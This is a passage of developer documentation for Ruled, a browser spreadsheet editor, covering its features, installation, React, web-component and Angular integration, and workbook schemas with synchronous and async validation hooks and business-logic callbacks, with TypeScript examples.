# Ruled > Edit real Excel workbooks in the browser, check every cell against a schema with your own async rules, and save .xlsx back intact. --- # Introduction Source: https://ruled.page/start/introduction/ Ruled is a spreadsheet editor you put in your own web app. It opens the Excel files people already have (`.xlsx`, `.xlsm` and CSV), lets them work in them as they would in Excel, and hands the workbook back to your app as an `.xlsx` file and as values in the shape you asked for. What sets it apart is that it can **know what a workbook is meant to hold**. You describe the workbooks you expect in a [schema](https://ruled.page/schemas/overview.md): the sheets, the tables, each field’s type and limits, and the rules across them. A workbook that matches is checked as people type, cell by cell, and your own code runs alongside: [checks that call your services](https://ruled.page/schemas/async-hooks.md), and [business logic](https://ruled.page/schemas/business-logic.md) that fills cells in from them. ## What it’s for - **Collecting data in spreadsheets**: suppliers sending price lists, teams returning budgets and forecasts, anyone filling in a template. People keep using a spreadsheet; you get values you can trust, checked before they reach you. - **Reviewing and correcting files** inside your app instead of emailing them back and forth. - **Editing workbooks in the browser** that must go back to Excel unchanged in everything nobody touched. ## How it works The editor is a React component, and a `` element for every other kind of page. The workbook itself lives in a **web worker**: reading the file, calculating formulas and writing it back happen off the page’s main thread, so the page stays responsive with large workbooks. ```plaintext your app ──open(bytes)──▶ editor ──▶ worker: reads the .xlsx, calculates, checks ◀──onSave(file)── editor ◀── worker: writes the .xlsx back ``` When the workbook is saved, your app receives: - the `.xlsx` file, with everything the editor doesn’t show kept as it was; - the values in your schema’s shape: each table’s records by field, each named cell; - each changed cell, with its value before and after, and who did what, when. ## What’s in it - **Formulas**, calculated live by the editor’s own engine, including dynamic arrays and `LAMBDA`. - **Charts and pivot tables**, drawn from the current cells and editable as in Excel. - **Formatting, sorting, filters, data validation, names, hyperlinks, notes and comments.** - **Schemas** with declarative checks, async hooks, business logic and a visual designer. - **Theming** through design tokens, **languages** (English and German built in), keyboard use and screen reader support. ## Next - See [what it can do](https://ruled.page/start/capabilities.md), feature by feature. - [Install it](https://ruled.page/start/install.md), then add it to a [React](https://ruled.page/start/react.md), [plain HTML](https://ruled.page/start/web-component.md) or [Angular](https://ruled.page/start/angular.md) app. - Read about [schemas](https://ruled.page/schemas/overview.md), the reason to use it. - Try the [live examples](https://ruled.page/examples/price-list.md). --- # What it can do Source: https://ruled.page/start/capabilities/ What the editor does with each part of a workbook, and what it gives the app it’s in. For how a saved file compares with the one opened, see [Excel fidelity](https://ruled.page/guides/excel-fidelity.md). Find a featurecharts, filters, CSV, macros… - Edit Shown, and people can change it as in Excel. - Show Shown, kept in the file, and changed only in part, as the note says. - Keep Not shown, but kept in the file as it was. - No Not supported: the note says what happens instead. ### Files |[Excel workbooks (.xlsx, .xlsm)](https://ruled.page/guides/opening-and-saving.md)|Edit|Saved back with every part the editor didn’t change as it was.| |-|-|-| |[CSV, TSV and text files](https://ruled.page/guides/csv-files.md)|Edit|Open as a workbook of one sheet and save as .xlsx; any sheet downloads as CSV.| |Macros (VBA, Excel 4.0 macro sheets)|Keep|Kept by default; the `macros` option can remove them when saving, or refuse such files.| |ActiveX controls and embedded objects|Keep|Or refused, with the `activeContent` option.| |Links to other workbooks|Keep|Their last values are shown and kept.| |.xls, .xlsb and .ods files|No|Refused, saying so.| |Password-protected and sensitivity-labelled files|No|Refused, saying so.| ### Cells and formatting |Text, numbers and dates, typed in the user’s locale|Edit|| |-|-|-| |Number formats, built in and custom|Edit|| |Fonts, colours, fills, borders, alignment, wrapping and indents|Edit|| |Several fonts within one cell|Show|Drawn in one font; all of them are kept.| |Merged cells|Edit|| |Column widths, row heights and AutoFit|Edit|| |Hidden, grouped and frozen rows and columns|Edit|| |Conditional formatting|Edit|Cell rules, top and bottom, averages, duplicates, colour scales, data bars and icon sets.| |Data validation|Edit|Lists and rules, as Excel’s Data Validation dialog sets them.| |Excel 365 checkboxes|Edit|| |Hyperlinks|Edit|| |Notes and threaded comments|Edit|| |Protected sheets|Show|Their locked cells can’t be changed; the protection itself isn’t changed here.| ### Formulas |[477 of Excel’s 518 worksheet functions, calculated live](https://ruled.page/reference/functions.md)|Edit|The others keep Excel’s saved results.| |-|-|-| |Dynamic arrays and their spills|Edit|| |LET, LAMBDA, MAP, REDUCE, SCAN and names defined as LAMBDAs|Edit|| |Defined names|Edit|With Excel’s Name Manager.| |Tables and structured references|Edit|Used and kept; new tables aren’t made here.| |Circular references and iterative calculation|Edit|| |Names belonging to one sheet, written with it (Prices!Rate)|Keep|Excel’s saved value is kept until Excel recalculates.| |What-if data tables|Keep|Excel’s saved values are kept.| ### Working with data |Sort|Edit|By several levels, by a custom list, with case, or left to right.| |-|-|-| |Filters|Edit|By values and by condition; filters by colour, icon or date period are kept.| |Find and replace|Edit|| |Fill handle, Fill Series, custom lists and AutoComplete|Edit|| |Inserting and deleting rows, columns and cells, and moving cells|Edit|References everywhere follow them, as in Excel.| |Adding, renaming, moving, hiding and deleting sheets|Edit|| ### Charts and pictures |Column, bar, line, area, pie, doughnut and scatter charts|Edit|Inserted from a selection, moved, resized, and their type, title, legend and data changed.| |-|-|-| |Radar, bubble, stock, 3-D and pie-of-pie charts|Show|Drawn from the cells (3-D drawn flat), moved, resized and retitled.| |Surface, waterfall, treemap, histogram, funnel and other newer charts|Keep|Shown as a placeholder with the chart’s title.| |Data labels, trendlines, error bars and gradient fills on charts|Keep|| |Pictures and shapes|Show|Shown as placeholders where they sit, and moved, resized and deleted.| |Sparklines|Keep|| ### Pivot tables |Pivot tables|Edit|Worked out live as their source changes, with the PivotTable Fields pane, filters and Show Values As.| |-|-|-| |Inserting a pivot table|Edit|Over a range, a table or a name, on a new sheet or at a cell.| |Pivot tables with grouped or calculated fields|Show|As Excel saved them; Excel refreshes them on opening.| |Slicers and timelines|Keep|| ### Working together |Undo, redo and the history of who changed what|Edit|| |-|-|-| |Reviewing every changed cell before saving|Edit|With a schema’s `reviewBeforeSave`.| |Several people editing at once|No|Your app can refuse a save that conflicts, with `SaveConflictError`.| |Printing and PDF|No|Print settings are kept in the file.| ### For your app |[React, web component, Angular and plain HTML](https://ruled.page/start/install.md)|Yes|A component and hook, a custom element, or a mount function.| |-|-|-| |[Schemas](https://ruled.page/schemas/overview.md)|Yes|Sheets, tables and cells described as data: types, bounds, patterns, lists, uniqueness and rules across records.| |[Async checks](https://ruled.page/schemas/async-hooks.md)|Yes|Checks that call your services as people type, with cancellation, timeouts and saving that waits for them.| |[Business logic](https://ruled.page/schemas/business-logic.md)|Yes|onChange fills cells from your systems in the same undo step; beforeSave has the last word.| |[Schema designer](https://ruled.page/schemas/json-and-designer.md)|Yes|Generate a schema from a workbook, edit it, and export or import it as JSON.| |[Saving to your app](https://ruled.page/guides/opening-and-saving.md)|Yes|The .xlsx, the values in your schema’s shape, every change and the history.| |[Drafts](https://ruled.page/guides/opening-and-saving.md#drafts)|Yes|Unsaved edits are kept in the browser and offered back.| |[Theming and icons](https://ruled.page/guides/theming.md)|Yes|Design tokens for every colour, font, size and corner, and replacement icons.| |[Languages and locales](https://ruled.page/guides/languages.md)|Yes|English and German built in, your own added, dates and numbers in the user’s locale.| |[Turning parts off](https://ruled.page/guides/options-and-features.md)|Yes|Hide opening, saving, the designer, the report, charts or the format bar.| |[Events and logging](https://ruled.page/guides/events-and-handle.md)|Yes|What the editor does and how long it took, and when it stops working.| |[Accessibility](https://ruled.page/guides/keyboard-and-accessibility.md)|Yes|Excel’s keys, screen reader support, forced colours and touch.| Nothing matches. Try a broader word, or see [Excel fidelity](https://ruled.page/guides/excel-fidelity.md). --- # Install Source: https://ruled.page/start/install/ The editor is one package, `@ruled/sheet`, with two builds: |Import|What it is|Use it from| |-|-|-| |`@ruled/sheet`|The React component, the `useWorkbookEditor` hook, `createWorkbookEditor` and the types. React 18 or 19 is a peer dependency.|React apps| |`@ruled/sheet/standalone`|Everything bundled, React, the worker and the styles included, defining the `` element.|Plain HTML, Angular, Vue, Svelte, server-rendered pages| ```sh npm install @ruled/sheet ``` Not on the npm registry yet Until the package is published, install the tarball a release makes (`npm run release` in the editor’s repository packs it into `releases/`): ```sh npm install ./ruled-sheet-0.1.0.tgz ``` ## The React build Import the stylesheet once, next to the component: ```ts import '@ruled/sheet/style.css'; ``` The component starts its worker with `new Worker(new URL('./assets/workbook.worker.js', import.meta.url))`. Vite, webpack 5 and Parcel recognise that and bundle the worker with your app, so there is nothing more to set up. With a bundler that doesn’t, serve `@ruled/sheet/worker` yourself and pass where it is: ```ts createWorkbookEditor({ createWorker: () => new Worker('/assets/workbook.worker.js', { type: 'module' }), }); ``` ## The standalone build Importing it defines ``. It injects its own styles, and its worker is inlined, so it needs nothing else. It’s larger than the React build, so load it when the editor is needed: ```ts await import('@ruled/sheet/standalone'); ``` ## Browsers Current Chrome, Edge, Firefox and Safari. The editor needs module workers, which all of them have. ## Styles stay inside Every class the editor uses starts with `wbe-`, and all its styles are scoped under `.wbe`, so your app’s `.btn` or `.modal` rules don’t reach into it, and its rules don’t reach out. To restyle it, use [theme tokens](https://ruled.page/guides/theming.md). --- # React Source: https://ruled.page/start/react/ `useWorkbookEditor` makes an editor that lives as long as your component: it’s made when the component mounts and destroyed, with its worker, when it unmounts. Render it with ``. ```tsx import { useWorkbookEditor, WorkbookEditor, type WorkbookFile } from '@ruled/sheet'; import '@ruled/sheet/style.css'; import { priceList } from './schemas'; export function PriceListReview({ file }: { file: WorkbookFile }) { const editor = useWorkbookEditor({ schemas: [priceList], file, // People open files from your app, not from their disk. features: { open: false }, saveLabel: 'Submit price list', onSave: async (saved) => { await fetch('/api/price-lists', { method: 'POST', body: saved.bytes }); }, }); return
{editor && }
; } ``` The editor fills its container, so give the container a height. It’s `null` on the first render, before it’s made. ## Opening a workbook `file` (its `name` and `bytes`) is opened once the editor is ready, and again whenever it’s a different file: another name or other bytes. A new object holding the same name and bytes isn’t a new file, so it can be written inline. If the user has unsaved changes they’re asked first, and if they keep their workbook it stays open. A file that can’t be opened says why in the editor. To open files at moments of your own choosing, leave `file` out and call `editor.open(bytes, name)`, which resolves once the workbook is open. ## Options as they change - **Theme, language, user, schemas and custom lists** follow the options as they change, without closing the workbook. Pass `language: i18n.language` and the editor follows your app’s language. A new array or object with the same entries isn’t a change, so they can be written inline. - **`onSave`, `onEvent`, `onError` and `onLinkClick`** can be new functions on every render, closing over your component’s props and state: the editor always calls the latest. - **Every other option** (`features`, `numbers`, `locale`, `limits` and the rest) is read when the editor is made. To change one, give the component a new `key`, which makes a new editor: ```tsx ``` ## The editor’s state as React state `useEditorState` re-renders your component as the editor’s status, file name and edits change, for your own unsaved badge, page title or button: ```tsx const { unsaved, editedCount, fileName } = useEditorState(editor); useEffect(() => { document.title = unsaved ? `• ${fileName}` : fileName; }, [unsaved, fileName]); ``` ## The component’s props |Prop|What it does| |-|-| |`editor`|The editor to show.| |`emptyState`|What to show before a workbook is open. It receives a function that opens the file picker.| |`toolbarEnd`|Your own controls, at the end of the toolbar before the Save button.| |`className`|A class for the editor’s root element.| Everything else the editor does (saving from your own button, going to a cell, reading the workbook without saving) is on the handle: see [Events and the handle](https://ruled.page/guides/events-and-handle.md). ## Without the hook `createWorkbookEditor(options)` makes an editor you manage yourself: for one shared across components, or made outside React. Destroy it when you’re done with it, which stops its worker: ```tsx const editor = createWorkbookEditor({ schemas: [priceList] }); // … editor.destroy(); ``` Make it in an effect, not with `useMemo` or during rendering: React may throw a memoized value away and make it again, which would leave an editor’s worker running with nothing to stop it. --- # Web component and plain HTML Source: https://ruled.page/start/web-component/ The standalone build defines a `` element. Set its `options`, give it a workbook, and listen to its events. ```html ``` ## Attributes |Attribute|What it does| |-|-| |`src`|A workbook’s URL. The element fetches and opens it, and opens it again when it changes.| |`save-handler="event"`|Saving fires a `save` event with the workbook, instead of downloading the file.| ## Properties and methods The element has the same methods and properties as the [handle](https://ruled.page/guides/events-and-handle.md): `open(bytes, fileName)`, `save()`, `downloadCopy()`, `getWorkbook()`, `getCsv()`, `downloadCsv()`, `goTo(ref)`, `registerSchema()`, `removeSchema()`, `setTheme()`, `setLanguage()`, `setUser()`, `setCustomLists()`, and `status`, `fileName`, `unsaved` and `editedCount`. Setting `options` on a connected element applies a new theme, language, user, schemas or custom lists as they are; changing any other option re-creates the editor, closing the workbook. ## Events |Event|`detail`| |-|-| |`ready`|The editor can take a workbook.| |`opened`|`{ fileName }`, once a workbook is open.| |`change`|`{ editedCount, unsaved }`, as the edits change.| |`save`|The saved workbook, with `waitUntil(promise)`, when `save-handler="event"`.| |`editorerror`|`{ message }`, when the workbook from `src` couldn’t be opened or the editor stopped working.| Moving the element elsewhere in the page keeps the editor as it is. ## Mounting into your own element Without the element, mount the editor into any element and keep the handle: ```ts import { mountWorkbookEditor } from '@ruled/sheet/standalone'; const editor = mountWorkbookEditor(document.getElementById('sheet')!, { schemas: [forecast] }); await editor.open(await (await fetch('/files/forecast.xlsx')).arrayBuffer(), 'forecast.xlsx'); ``` --- # Angular Source: https://ruled.page/start/angular/ In Angular the editor is a custom element like any other. Allow it with `CUSTOM_ELEMENTS_SCHEMA`, bind its `options`, and listen to its events. Loading the standalone build with a dynamic `import()` keeps it out of your initial bundle; the element keeps any options Angular sets before it has loaded. ```ts import { Component, CUSTOM_ELEMENTS_SCHEMA } from '@angular/core'; import type { EditorOptions, SaveEventDetail } from '@ruled/sheet/standalone'; import { forecast } from './schemas'; const editorLoaded = import('@ruled/sheet/standalone'); @Component({ selector: 'app-forecast-review', schemas: [CUSTOM_ELEMENTS_SCHEMA], template: ` `, styles: [`workbook-editor { display: block; height: 80vh; }`], }) export class ForecastReview { fileUrl = '/files/forecast.xlsx'; options: EditorOptions = { schemas: [forecast], saveLabel: 'Save to the app', features: { open: false } }; constructor(private api: ForecastApi) {} onSave(event: Event) { const saved = (event as CustomEvent).detail; saved.waitUntil(this.api.upload(saved.bytes, saved.values)); } } ``` The standalone build has type declarations, including `WorkbookEditorElement` for the element itself, so `@ViewChild` gives you a typed element to call `goTo`, `save` or `getWorkbook` on. The [web component page](https://ruled.page/start/web-component.md) lists the element’s attributes, methods and events. --- # Schemas Source: https://ruled.page/schemas/overview/ A schema describes a kind of workbook your app expects: which sheets it has, where its tables are, what each field holds, and the rules that apply. When a workbook that matches is opened, the editor holds it to the schema: - **Every cell is checked as it’s typed.** A cell that breaks a rule is marked in its corner, red for an error and amber for a warning, and the Checks panel lists every issue with a link to its cell. - **The structure is kept.** Cells outside the tables are read-only unless you say otherwise, fixed records can’t be renamed, and tables grow and shrink only within the limits you set. - **People are told what’s expected.** A field’s description shows in the formula bar when one of its cells is selected, and a field with a list of values offers them as a drop-down. - **Saving waits for the checks.** While errors remain, saving is refused, or asks first if you allow it. - **Your app gets the values in the schema’s shape**, each table’s records by field key, alongside the `.xlsx`. *Live editor: the budget example. The half-year budget below is held to the schema after it. Try a negative amount, a formula in a month, or more than 5,000 in Travel.* ```ts import { defineSchema } from '@ruled/sheet'; import { needsReview } from './services'; const MONTHS = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']; export const budget = defineSchema({ id: 'docs.budget', name: 'Half-year budget', // Errors ask before saving rather than stopping it. saveWithErrors: 'confirm', sheets: [ { name: 'Budget', tables: [ { key: 'budget', at: 'A1', corner: 'Category', // Fixed records: the categories can't be added to, removed or renamed. records: { labels: ['Salaries', 'Rent', 'Marketing', 'Travel', 'Equipment'] }, fields: MONTHS.map((m) => ({ key: m.toLowerCase(), label: m, type: 'number' as const, required: true, min: 0, decimals: 2, formula: 'forbid' as const })), // A table rule in code: travel is capped each month. rules: [ (table) => table.records .filter((r) => r.label === 'Travel') .flatMap((r) => MONTHS.filter((m) => Number(r.values[m.toLowerCase()]) > 5000).map((m) => ({ record: r.index, field: m.toLowerCase(), severity: 'warning' as const, message: 'Travel is over the monthly cap of 5,000.', })), ), ], }, ], cells: [ { key: 'approvedBy', ref: 'B8', label: { ref: 'A8', text: 'Approved by' }, type: 'text', required: true, description: 'Who signed off this budget.' }, { key: 'total', ref: 'B9', label: { ref: 'A9', text: 'Total' }, type: 'number', formula: 'require', readOnly: true }, ], }, ], // A workbook-wide async check against the budget service. validate: async ({ sheet, signal }) => { const total = sheet('Budget')?.cell('total'); if (typeof total === 'number' && (await needsReview(total, signal))) { return [{ ref: 'Budget!B9', severity: 'warning', message: `Totals over 400,000 need review (this is ${total.toLocaleString('en')}).` }]; } }, }); ``` ## Writing one Wrap the schema in `defineSchema` for type checking and completion, and pass it in the editor’s options: ```ts import { createWorkbookEditor, defineSchema } from '@ruled/sheet'; const timesheet = defineSchema({ id: 'acme.timesheet', name: 'Timesheet', version: '2', sheets: [ { name: 'Hours', tables: [ { key: 'entries', at: 'A1', fields: [ { key: 'date', label: 'Date', type: 'date', required: true }, { key: 'project', label: 'Project', type: 'enum', values: ['Apollo', 'Gemini'], required: true }, { key: 'hours', label: 'Hours', type: 'number', min: 0, max: 24, decimals: 2 }, ], }, ], }, ], }); createWorkbookEditor({ schemas: [timesheet] }); ``` Its parts are covered in turn: - [Fields and checks](https://ruled.page/schemas/fields.md): each field’s type, limits and checks. - [Tables, cells and sheets](https://ruled.page/schemas/tables.md): where things are, and rules across records. - [Async checks](https://ruled.page/schemas/async-hooks.md): checks in code that can call your services. - [Business logic](https://ruled.page/schemas/business-logic.md): code that fills cells in, and a last word before saving. - [JSON and the designer](https://ruled.page/schemas/json-and-designer.md): schemas as data, and the visual designer. ## How a workbook finds its schema The editor tries each schema in `schemas`, in order, against the workbook being opened. A schema matches when its sheets are there (those not marked `optional`), and its tables’ headings are where it says, matched ignoring case and surrounding spaces. A workbook that matches none opens as a plain spreadsheet, and the editor says how the closest schema didn’t match. Saving stamps the file with the schema’s `id` and `version`, so when it’s opened again that schema is tried first, and a file saved under another version says so. Add and remove schemas while the editor is open with `registerSchema(schema)` and `removeSchema(id)`. ## Errors and warnings Every check reports an **error** unless it says `severity: 'warning'`. Errors stop the save; warnings are shown but never stop anything. Set `saveWithErrors: 'confirm'` to let people save with errors after confirming, as the budget above does. --- # Fields and checks Source: https://ruled.page/schemas/fields/ A field is one column of a table (or one row, for a table that runs across), or a single cell. It has a `key` your code uses, a `label` that matches its heading in the workbook, a `type`, and the checks that apply. ```ts { key: 'sku', label: 'SKU', type: 'text', required: true, unique: true, pattern: '^SKU-\\d{4}$', patternHint: 'like SKU-1234', description: 'The product code from the catalogue.', } ``` ## Types |Type|Holds|In your code| |-|-|-| |`text`|Any text|`string`| |`number`|A number|`number`| |`integer`|A whole number|`number`| |`percent`|A percentage, stored as a fraction: 12.5% is `0.125`|`number`| |`date`|A date, typed in the user’s locale or as ISO|`Date`, at UTC midnight| |`boolean`|TRUE or FALSE, or a checkbox|`boolean`| |`enum`|One of `values`, typed in any case and offered as a drop-down|`string`| A cell that can’t be read as its type, such as text in a number field, is an error. An empty cell is `null`, and an Excel error value is `{ error: '#DIV/0!' }`. ## Checks |Property|Checks that| |-|-| |`required`|the cell isn’t empty.| |`min`, `max`|a number, percentage (as a fraction) or date (as `'2026-01-31'`) is within the bounds, inclusive.| |`decimals`|a number has no more decimal places; for percentages, of the percentage (12.5% has 1).| |`minLength`, `maxLength`|text is within the lengths.| |`pattern`|text matches the regular expression. `patternHint` describes it to people: “Should be like SKU-1234.”| |`values`|an `enum` field holds one of them.| |`unique`|no two records hold the same value.| |`formula`|cells `'allow'` formulas (the default), must hold one (`'require'`), or mustn’t (`'forbid'`).| |`readOnly`|nobody changes the cell.| |`validate`|your own code agrees. It can be async: see [Async checks](https://ruled.page/schemas/async-hooks.md).| ## Labels `label` is matched against the heading in the workbook. A string matches ignoring case and surrounding spaces; for anything looser, give a regular expression, or `{ pattern, flags }` where the schema has to be JSON: ```ts { key: 'price', label: /^unit price( \(.*\))?$/i, type: 'number' } ``` ## Messages in several languages Wherever a schema has text for people (`name`, `description`, `patternHint`, a check’s message), it can be one string or one for each language. The editor shows the one that fits its language best: ```ts description: { en: 'Unit price before tax.', de: 'Stückpreis vor Steuern.' } ``` A check can also write its message in the editor’s language, which it’s given as `ctx.language`. ## A field’s own check in code `validate` receives the value and a context, and returns nothing when the value is fine, or a message when it isn’t: ```ts { key: 'end', label: 'End date', type: 'date', validate: (end, { values }) => { const start = values?.start; if (start instanceof Date && end instanceof Date && end < start) return 'Ends before it starts.'; }, } ``` The context has the sheet’s name, the table’s key, the record’s index and all its values, the editor’s language, and an `AbortSignal`. Return `{ message, severity: 'warning' }` for a warning. --- # Tables, cells and sheets Source: https://ruled.page/schemas/tables/ ## Tables A table is a block of records with a heading for each field. `at` is its top-left cell, headings included. ```ts { key: 'prices', at: 'A1', orientation: 'rows', records: { min: 1, max: 500 }, fields: [/* … */], } ``` |Property|What it does| |-|-| |`orientation`|`'rows'` (the default): one record per row, fields across. `'columns'`: one record per column, fields down, as in a forecast with a column per quarter.| |`header`|Whether the first row (or column) holds the field labels. Default `true`.| |`records.min`, `records.max`|How many records there may be. People add one by typing just past the last, or with the toolbar’s insert and delete buttons.| |`records.labels`|Fixed records, named in the first column (or row): the number of records is fixed and the labels can’t change, as in a budget with a row per category.| |`corner`|The text expected in the top-left cell when the table has labels both ways.| |`checks`|Rules across the records, as data.| |`rules`|Rules across the records, in code. They can be async.| ### Rules as data |Rule|Checks that| |-|-| |`{ rule: 'monotonic', field, direction }`|the field’s values only go `'increasing'`, `'decreasing'`, `'nonIncreasing'` or `'nonDecreasing'`.| |`{ rule: 'firstEquals', field, value }`|the first record’s value is `value`.| |`{ rule: 'sum', field, equals?, min?, max? }`|the field’s total is, or is within, the given amounts.| |`{ rule: 'compare', field, op, other }`|in every record, `field` compares with `other` this way: `<`, `<=`, `>`, `>=`, `=` or `<>`.| |`{ rule: 'requiredIf', field, when, equals? }`|`field` has a value wherever `when` has one (or has the value `equals`).| |`{ rule: 'uniqueTogether', field, fields }`|no two records share the same combination of values.| Each takes `severity: 'warning'` too. ### Rules in code A rule gets the table, with its records, and returns the issues it finds, each pinned to a record and field: ```ts rules: [ (table) => table.records .filter((r) => r.values.discount !== null && Number(r.values.discount) > 0.3) .map((r) => ({ record: r.index, field: 'discount', message: 'Discounts over 30% need approval.', severity: 'warning' })), ], ``` Each record has its `index`, its `label` (for fixed records), its `values` by field key, and `ref(field)`, the address of one of its cells. ## Single cells `cells` describes values that sit on their own, such as who approved a budget. Each is a field with a `ref` instead of a heading, and optionally a label that must be in another cell: ```ts cells: [ { key: 'approvedBy', ref: 'B8', label: { ref: 'A8', text: 'Approved by' }, type: 'text', required: true }, { key: 'total', ref: 'B9', type: 'number', formula: 'require', readOnly: true }, ], ``` ## Sheets |Property|What it does| |-|-| |`name`|The sheet’s name, matched like a label.| |`optional`|The workbook can lack the sheet and still match.| |`outside`|Whether cells outside its tables and cells can be edited: `'readOnly'` (the default) or `'editable'`.| |`validate`|A check across the whole sheet, in code. It can be async.| ## The whole workbook |Property|What it does| |-|-| |`id`, `name`, `description`|Identify the schema, to your code and to people.| |`version`|Stamped into saved files, so a file saved under another version says so.| |`otherSheets`|Whether sheets the schema doesn’t describe can be edited: `'editable'` (the default) or `'readOnly'`.| |`saveWithErrors`|`'block'` (the default) refuses to save while errors remain; `'confirm'` asks first.| |`hookTimeoutMs`|How long an async hook may take. Default 10,000.| |`numbers`|How numbers are shown, copied and pasted (below).| |`validate`, `onChange`, `beforeSave`|Code for the whole workbook: see [Async checks](https://ruled.page/schemas/async-hooks.md) and [Business logic](https://ruled.page/schemas/business-logic.md).| ### Numbers Workbooks of prices or measurements often need numbers handled exactly: ```ts numbers: { display: 'full', // show every stored digit, not the cell's rounded format copy: 'raw', // copy exact values, not the displayed text paste: 'strict', // ask before pasting values that would be stored differently from how they read reviewBeforeSave: true, // list every changed cell, old and new, before saving } ``` `paste: 'strict'` asks about dates that could be day/month or month/day, numbers beyond 15 significant digits, and numbers with leading zeros. The same options can be set for every workbook in the editor’s `numbers` option. --- # Async checks Source: https://ruled.page/schemas/async-hooks/ Some rules can’t be written down in a schema: whether a product code exists in your catalogue, whether a customer’s credit limit covers an order, whether a cost centre is still open. Ruled lets those checks **call your services while people type**, and handles the hard parts: showing which cells are being checked, abandoning calls the user has typed past, giving up on slow services, and making sure nothing is saved before the checks have answered. *Live editor: the price-list example. Type SKU-1013 under the last SKU. The cell is checked against a pretend catalogue service that answers after half a second, and is marked with a warning: the product is discontinued.* ## Where checks go Every level of a schema can have a check in code, and every one of them can be `async`: |Hook|Runs|Gets| |-|-|-| |A field’s `validate`|when that cell’s value changes|the value, and the record’s other values| |A table’s `rules`|after edits|the table, with all its records| |A sheet’s `validate`|after edits|the sheet: its tables and cells| |The workbook’s `validate`|after edits|every sheet the schema describes| Use the narrowest one that can decide. A field check that calls a service runs once for each cell that changes; a check that needs to see many cells at once, or that would otherwise make hundreds of calls, belongs on the table or the workbook, where it can make one call for all of them. ## A field’s check ```ts { key: 'sku', label: 'SKU', type: 'text', validate: async (value, { signal, language }) => { const response = await fetch(`/api/catalogue/${encodeURIComponent(String(value))}`, { signal }); if (response.status === 404) return { en: 'No product has this SKU.', de: 'Kein Produkt hat diese SKU.' }; const product = await response.json(); if (product.discontinued) return { message: 'This product is discontinued.', severity: 'warning' }; }, } ``` A check returns nothing (or `null`) when the value is fine. Otherwise it returns a message (a string, or one per language), or `{ message, severity }`, where severity is `'error'` (the default) or `'warning'`. ## What the editor does while it waits - **The cell is marked as being checked**, and the status bar says checks are running, so people know an answer is coming. - **Typing again abandons the call.** Each check gets an `AbortSignal` that’s aborted when the value changes again before the check finishes. Pass it to `fetch` and the request is cancelled; its answer, if it comes, is ignored either way. - **An answer is kept until the value changes.** Selecting the cell again, scrolling or editing other cells doesn’t call your service again. Changing the value back and forth does. - **A slow service is given up on.** After `hookTimeoutMs` (10 seconds unless the schema says otherwise), a field is marked as not checked, as a warning, and a table, sheet or workbook check’s result is ignored. - **A check that throws is an error** on its cell, saying the check failed and why, so a broken service is noticed rather than silently letting values through. - **Saving waits for the checks.** Pressing Save while checks are running waits for them to answer before deciding whether the workbook can be saved. ## Checks across a table A table rule sees every record, and pins each issue to a record and field. Here one request checks every SKU in the table at once: ```ts rules: [ async (table, { signal }) => { const skus = table.records.map((r) => r.values.sku).filter(Boolean); const response = await fetch('/api/catalogue/check', { method: 'POST', body: JSON.stringify(skus), signal }); const unknown: string[] = await response.json(); return table.records .filter((r) => unknown.includes(String(r.values.sku))) .map((r) => ({ record: r.index, field: 'sku', message: 'Not in the catalogue.' })); }, ], ``` ## Checks across the workbook The workbook’s `validate` reaches every sheet the schema describes. An issue it returns points at a cell with `ref`, which can name its sheet: ```ts validate: async ({ sheet, signal }) => { const total = sheet('Budget')?.cell('total'); if (typeof total !== 'number') return; const { limit } = await (await fetch('/api/budget-limit', { signal })).json(); if (total > limit) return [{ ref: 'Budget!B9', message: `Over the limit of ${limit.toLocaleString()}.` }]; }, ``` ## In the right language Each check is told the editor’s language as `language` (a BCP 47 tag such as `en-US` or `de`). Return a message for each language you support, `{ en: '…', de: '…' }`, and the editor shows the best fit, even when people change language after the check ran. ## Things to know - **Empty cells aren’t passed to field checks.** Use `required` for those. - **Field checks run for each cell that changes.** Pasting a thousand rows makes a thousand calls, each abandoned or kept as above. If that’s too many for your service, check the table instead, or batch requests in your own code. - **Hooks run in the page**, not in the worker, so they can use your app’s session, cookies and code. - **Hooks are code, not data.** They aren’t saved in the schema’s JSON. Keep them with your app and they stay with the schema; see [JSON and the designer](https://ruled.page/schemas/json-and-designer.md). --- # Business logic Source: https://ruled.page/schemas/business-logic/ Checks say what’s wrong. Business logic does something about it: it fills in what your systems already know, so people don’t have to type it, and it has the last word before a workbook leaves the editor. *Live editor: the price-list example. Type SKU-2002 under the last SKU. Half a second later the pretend catalogue fills in its description and category. One Undo takes both the SKU and what was filled in back out.* ## After each edit: `onChange` `onChange` runs after each edit, with the changes it made, and can write values into other cells with `ctx.set`. What it writes is applied when it finishes, as part of the same step as the edit, so one Undo takes them all back. ```ts onChange: async (ctx) => { for (const change of ctx.changes) { if (change.field !== 'sku' || typeof change.after !== 'string' || change.record === undefined) continue; const product = await lookupSku(change.after, ctx.signal); if (!product) continue; const at = { sheet: change.sheet, table: 'prices', record: change.record }; ctx.set({ ...at, field: 'description' }, product.description); ctx.set({ ...at, field: 'category' }, product.category); } }, ``` Each change has the `sheet`, the `ref` of the cell, its value `before` and `after`, and, for a cell in a table, the `table`, `record` and `field`. `ctx.set` takes a field of a record, `{ sheet, table, record, field }`, or any cell, `{ sheet, ref }`, and a value: text, a number, a boolean, a `Date` or `null`. Values are written as if typed, so they’re checked like any other. `ctx` also reads the workbook as checks do (`ctx.sheet(name).table(key)`, `.cell(key)`), and has the editor’s `language` and an `AbortSignal` that’s aborted if the workbook changes again before the hook finishes. If it takes longer than the schema’s `hookTimeoutMs`, or throws, nothing it set is applied, and the Checks panel says why. ## Before saving: `beforeSave` `beforeSave` runs when someone saves, after the checks have passed. Return nothing (or `true`) to let the save go ahead, or a message to stop it: ```ts beforeSave: async ({ sheet, signal }) => { const period = sheet('Forecast')?.table('quarters')?.records.at(-1)?.values.period; const open = await fetch(`/api/periods/${period}/open`, { signal }).then((r) => r.json()); if (!open) return { en: `${period} is closed for submissions.`, de: `${period} ist für Einreichungen geschlossen.` }; }, ``` A message from `beforeSave` can’t be overridden, unlike errors under `saveWithErrors: 'confirm'`. If it takes longer than `hookTimeoutMs` the save stops, saying so. ## Saving to your app Once a workbook passes, it goes to your `onSave` (or the element’s `save` event), with the file, the values in the schema’s shape and every change. See [Opening and saving](https://ruled.page/guides/opening-and-saving.md). --- # JSON and the designer Source: https://ruled.page/schemas/json-and-designer/ Everything in a schema except its hooks is data, so a schema can be stored, versioned and edited without touching code. ## The designer The editor’s toolbar has a schema button that opens the schema designer. With a workbook open, it can: - **Generate a schema from the workbook**: it finds the tables and their headings, and guesses each field’s type from the values under them. - **Edit it**: the sheets, 